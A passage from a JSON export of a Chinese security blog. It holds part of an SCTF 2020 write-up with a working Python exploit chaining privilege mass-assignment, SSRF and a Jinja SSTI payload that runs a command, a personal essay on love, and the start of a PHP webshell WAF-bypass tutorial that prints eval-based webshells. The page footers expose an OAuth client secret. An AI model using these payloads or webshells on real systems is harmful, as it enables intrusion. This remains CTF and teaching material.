class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e Request, session, get, post\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e bs4 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e BeautifulSoup\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64encode\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e json\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eHOST = \u003cspan class=\"string\"\u003e\u0026#x27;http://39.104.19.182\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eUSER = \u003cspan class=\"string\"\u003e\u0026#x27;frkasdf\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ePASS = \u003cspan class=\"string\"\u003e\u0026#x27;qwer\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# session 默认keep-alive,这个服务端好像有点连接性问题,所以单独请求\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epost(HOST + \u003cspan class=\"string\"\u003e\u0026#x27;/reg/\u0026#x27;\u003c/span\u003e, json=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: USER,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: PASS,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;is_staff\u0026#x27;\u003c/span\u003e: \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;is_superuser\u0026#x27;\u003c/span\u003e: \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;code\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(HOST + \u003cspan class=\"string\"\u003e\u0026#x27;/login/\u0026#x27;\u003c/span\u003e, json=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: USER,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: PASS,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epage = BeautifulSoup(get(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e HOST + \u003cspan class=\"string\"\u003e\u0026#x27;/admin/app/token/\u0026#x27;\u003c/span\u003e, cookies=ses.cookies\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e).text, \u003cspan class=\"string\"\u003e\u0026#x27;lxml\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etoken = page.find(\u003cspan class=\"string\"\u003e\u0026#x27;td\u0026#x27;\u003c/span\u003e, attrs=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;class\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;field-Token\u0026#x27;\u003c/span\u003e\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003essti = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#123;\u0026#123;config.__class__.__init__.__globals__[\u0026quot;os\u0026quot;].popen(\u0026quot;/readflag\u0026quot;).read() + \u0026quot;\u0026quot;\u0026#125;\u0026#125;\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epayload = (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026#123;\u0026#x27;\u003c/span\u003e + json.dumps(\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;num1\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;num2\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;symbols\u0026#x27;\u003c/span\u003e: ssti,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e:-\u003cspan class=\"number\"\u003e1\u003c/span\u003e].replace(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026#123;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\\\u007b\u0026#x27;\u003c/span\u003e).replace(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026#125;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\\\u007d\u0026#x27;\u003c/span\u003e) + \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#125;\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epayload = b64encode(payload.encode()).decode()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ereq = Request(\u003cspan class=\"string\"\u003e\u0026#x27;GET\u0026#x27;\u003c/span\u003e, HOST + \u003cspan class=\"string\"\u003e\u0026#x27;//127.0.0.1:8000/flask_rpc\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;methods\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;POST\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;url\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;http://localhost:5000/caculator\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# flask在:5000\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;data\u0026#x27;\u003c/span\u003e: payload\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).prepare()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(json.loads(ses.post(HOST + \u003cspan class=\"string\"\u003e\u0026#x27;/home/\u0026#x27;\u003c/span\u003e, json=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;url\u0026#x27;\u003c/span\u003e: req.url,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;token\u0026#x27;\u003c/span\u003e: token\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;message\u0026#x27;\u003c/span\u003e])[\u003cspan class=\"string\"\u003e\u0026#x27;message\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/"},{"title":"关于爱","time":"2020-05-19T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e对“爱”这一情感的一些非常零散的想法与思考\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"爱\"\u003e爱\u003c/h2\u003e\n\u003cp\u003e是一件很难下定义的情感。\u003cbr\u003e\n这种爱,是人从最基本的生存需要中发展出的丰富的社会情感,与所有情感一同成为了人之所以为人的一\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e对“爱”这一情感的一些非常零散的想法与思考\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"爱\"\u003e爱\u003c/h2\u003e\u003cp\u003e是一件很难下定义的情感。\u003cbr\u003e这种爱,是人从最基本的生存需要中发展出的丰富的社会情感,与所有情感一同成为了人之所以为人的一部分。\u003c/p\u003e\u003ch4 id=\"父母\"\u003e父母\u003c/h4\u003e\u003cp\u003e父母之间的爱,是经历了时间考验的爱。\u003cbr\u003e从相遇,从别离又重逢,从一封封信件,到一同面对生活,到有我,到每一次的理解包容,到平常的每一天。\u003cbr\u003e父母,是我理解爱的一个窗口。\u003c/p\u003e\u003ch4 id=\"致橡树\"\u003e致橡树\u003c/h4\u003e\u003cp\u003e是伟大的爱。\u003cbr\u003e根,紧握在地下;叶,相触在云里。\u003cbr\u003e理想的爱是美丽的\u003c/p\u003e\u003ch4 id=\"姥姥\"\u003e姥姥\u003c/h4\u003e\u003cp\u003e厮守。平凡。坚强。\u003c/p\u003e\u003ch4 id=\"文字\"\u003e文字\u003c/h4\u003e\u003cp\u003e用文字写清爱,大概是不可能的。\u003cbr\u003e网络上那么多的“爱的高级表达”,都觉得好苍白无力\u003cbr\u003e“爱是人类最复杂,最伟大,最深层的情感”\u003c/p\u003e\u003ch2 id=\"喜欢与爱\"\u003e喜欢与爱\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e坐在一起,什么都不用想,什么都不用做\u003cbr\u003e就纯粹地坐在一起,看着你的眼睛。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e喜欢与爱,大概没有一个明确的分界线。\u003cbr\u003e初识,了解,关注,在意,喜欢,爱\u003c/p\u003e\u003ch4 id=\"歌德\"\u003e歌德\u003c/h4\u003e\u003cp\u003e浪漫主义与现实\u003c/p\u003e\u003ch4 id=\"责任\"\u003e责任\u003c/h4\u003e\u003cp\u003e爱不仅仅是简单的情感。爱带来了很多需要直面的事情。\u003cbr\u003e准备好面对时,才配得上说爱。\u003cbr\u003e对未来的思考\u003c/p\u003e\u003ch4 id=\"我\"\u003e我\u003c/h4\u003e\u003cp\u003e也许,算?\u003cbr\u003e不知道。\u003cbr\u003e\u003cstrong\u003e探寻\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"misc\"\u003emisc\u003c/h2\u003e\u003ch4 id=\"emmm。。\"\u003eemmm。。\u003c/h4\u003e\u003cp\u003e现在回想起来还挺对不起高中老师的emmm…\u003cbr\u003e后悔么?不可能。\u003c/p\u003e\u003ch4 id=\"情感\"\u003e情感\u003c/h4\u003e\u003cp\u003e记得前段时间有个很有意思的想法\u003cbr\u003e人的情感状态可以表示为若干维空间中的一个向量\u003cbr\u003e而一个种类的情感是这一空间中的一个张量\u003c/p\u003e\u003ch4 id=\"\"\u003e\u003c/h4\u003e\u003cp\u003e也许现在的想法还是很幼稚吧\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e由于很多地方不太好意思写,思考这种问题时我也组织不起来语言,所以是非常碎片化的关键词\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eLove encompasses \u003cstrong\u003ea range of\u003c/strong\u003e strong and positive emotional and mental states, from the most sublime virtue or good habit, the deepest interpersonal affection and to the simplest pleasure.\u003cbr\u003e– wikipedia\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"一些摘抄\"\u003e一些摘抄\u003c/h4\u003e\u003cul\u003e\u003cli\u003e根,紧握在地下;叶,相触在云里。 --舒婷\u003c/li\u003e\u003cli\u003e草在结它的种子,风在摇它的叶子。我们站着,不说话就十分美好。 --顾成\u003c/li\u003e\u003cli\u003e我这一生都是坚定不移的唯物主义者,唯有你,我希望有来生。 --周恩来\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/05/20/Misc/%E5%85%B3%E4%BA%8E%E7%88%B1/"},{"title":"从一道题到PHP Shell WAF绕过","time":"2020-05-09T16:00:00Z","content":"\u003ch2 id=\"起因\"\u003e起因\u003c/h2\u003e\n\u003cp\u003eDe1CTF 2020 中有一道渗透题Hard_Pentest,第一步是要上传一个php文件shell,而这个上传点当然是有waf的\u003cbr\u003e\n经过fuzz,确认能够使用的字符如下:\u003cbr\u003e\n\u003ccode\u003e!\u0026quot;#$%'()*+,\u003chr /\u003e\u003ch2 id=\"起因\"\u003e起因\u003c/h2\u003e\u003cp\u003eDe1CTF 2020 中有一道渗透题Hard_Pentest,第一步是要上传一个php文件shell,而这个上传点当然是有waf的\u003cbr\u003e经过fuzz,确认能够使用的字符如下:\u003cbr\u003e\u003ccode\u003e!\u0026quot;#$%'()*+,-./:\u0026lt;=\u0026gt;?@[\\]_\u0026#123; \u0026#125;\u003c/code\u003e\u003cbr\u003e我们能发现可用的字符中无字母,无数字,更重要的是无分号\u003c/p\u003e\u003ch2 id=\"这道题\"\u003e这道题\u003c/h2\u003e\u003cp\u003e在这道题中,通过尝试我们能发现可以通过short open tag替代分号的作用:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$a\u003c/span\u003e=\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$a\u003c/span\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说,拿一个经典的无数字字母shell来稍加修改(\u003ccode\u003ereplace(';', '?\u0026gt;\u0026lt;?=')\u003c/code\u003e)即可构造出这样一个shell\u003cbr\u003e但是我自然不会善罢甘休,想要总结一下\u003cstrong\u003e各个版本\u003c/strong\u003e中shell waf的绕过方式\u003cbr\u003e下面我们从几个初始状态开始,逐步缩减可用的字符集,看看不一样的绕过方式\u003c/p\u003e\u003ch3 id=\"说明\"\u003e说明\u003c/h3\u003e\u003cp\u003e此处对下一部分如何归类与标注标题做一下简单的说明\u003cbr\u003e我将从两个初始状态开始(无字母、白名单\u003ccode\u003e0b\u003c/code\u003e与无字母、黑名单\u003ccode\u003e0w\u003c/code\u003e)向别的状态转移\u003cbr\u003e当然b与w分别代表blacklist与whitelist\u003cbr\u003e当状态发生转移时,将在状态代号(如\u003ccode\u003e0b\u003c/code\u003e)后附加一个点(.)并添加新的状态代号,比如\u003ccode\u003e0b.0\u003c/code\u003e, \u003ccode\u003e0b.1\u003c/code\u003e\u003cbr\u003e像上面那样同以\u003ccode\u003e0b.\u003c/code\u003e开头的状态说明这两个状态都是由\u003ccode\u003e0b\u003c/code\u003e状态转移而来\u003c/p\u003e\u003ch2 id=\"Webshell-Bypass\"\u003eWebshell Bypass\u003c/h2\u003e\u003ch3 id=\"root-strings-printable\"\u003eroot strings.printable\u003c/h3\u003e\u003cp\u003e这是一个普通的webshell:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[_]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[_];\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e让我们先ban掉一些普通的字符吧,先拿方括号开刀\u003c/p\u003e\u003ch3 id=\"root-0-ban掉\"\u003eroot.0 ban掉[]\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e\u0026#123;_\u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e\u0026#123;_\u0026#125;;\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e让我们读一读手册\u003c/p\u003e\u003cfigure class=\"highlight markdown\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ehttps://www.php.net/manual/en/language.types.array.php\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; Note:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; Both square brackets and curly braces can be used interchangeably\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; for accessing array elements (e.g. `$array[42]` and `$array\u0026#123;42\u0026#125;` will\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; both do the same thing in the example above).\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eAs of PHP 5.4 it is possible to array dereference the result of a\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efunction or method call directly. Before it was only possible using\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ea temporary variable.\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eAs of PHP 5.5 it is possible to array dereference an array literal.\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-1-ban掉分号\"\u003eroot.1 ban掉分号\u003c/h3\u003e\u003cp\u003e这个好办,上面已经给出了解决方案,在此例中只要去掉分号就好了\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[_])\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[_]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-2-ban掉引号\"\u003eroot.2 ban掉引号\u003c/h3\u003e\u003cp\u003e你在上面见到引号了么?\u003c/p\u003e\u003ch3 id=\"root-3-ban掉大小写字母\"\u003eroot.3 ban掉大小写字母\u003c/h3\u003e\u003cp\u003e这样的shell一开始由p师傅(ORZORZORZORZORZORZ)发布在\u003ca href=\"https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html\"\u003e博客\u003c/a\u003e中,后来又有一篇\u003ca href=\"https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html\"\u003e提高篇\u003c/a\u003e讨论了php7下与unix glob引出的无字母webshell的利用。\u003c/p\u003e\u003cp\u003e首先我们要想怎么能通过字符串来取到对应的变量\u003c/p\u003e\u003cp\u003e从\u003ca href=\"https://www.php.net/manual/en/language.oop5.basic.php#:~:text=as%20of%20PHP%205.3.0\"\u003ePHP5.3.0起\u003c/a\u003e,字符串变量可以被当作函数直接调用,从PHP7开始这个字符串甚至不需要赋给一个单独的变量\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;phpinfo\u0026quot;\u003c/span\u003e;\u003cspan 